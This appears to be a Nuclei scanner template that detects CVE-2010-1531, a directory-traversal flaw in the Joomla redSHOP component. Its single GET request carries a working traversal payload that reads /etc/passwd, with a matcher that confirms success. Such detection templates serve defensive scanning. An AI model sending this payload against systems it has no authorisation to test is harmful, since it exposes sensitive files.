id: CVE-2010-1531

info:
  name: Joomla! Component redSHOP 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the redSHOP (com_redshop) component 1.0.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12054
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1531
    - http://packetstormsecurity.org/1004-exploits/joomlaredshop-lfi.txt
    - http://redcomponent.com/redshop/redshop-changelog
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57512
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1531
    cwe-id: CWE-22
    epss-score: 0.16915
    epss-percentile: 0.96744
    cpe: cpe:2.3:a:redcomponent:com_redshop:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redcomponent
    product: com_redshop
  tags: cve2010,cve,lfi,edb,packetstorm,joomla,redcomponent,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_redshop&view=../../../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c4ff04511d76b49ea16f1d3edc46e82eee2b6d23dde3880c2ba6af2eafca16e202204247323981633cbc915cdce4172ad9b4e9f76be3ffb0190bd379393dbcc95b02:922c64590222798bb761d5b6d8e72950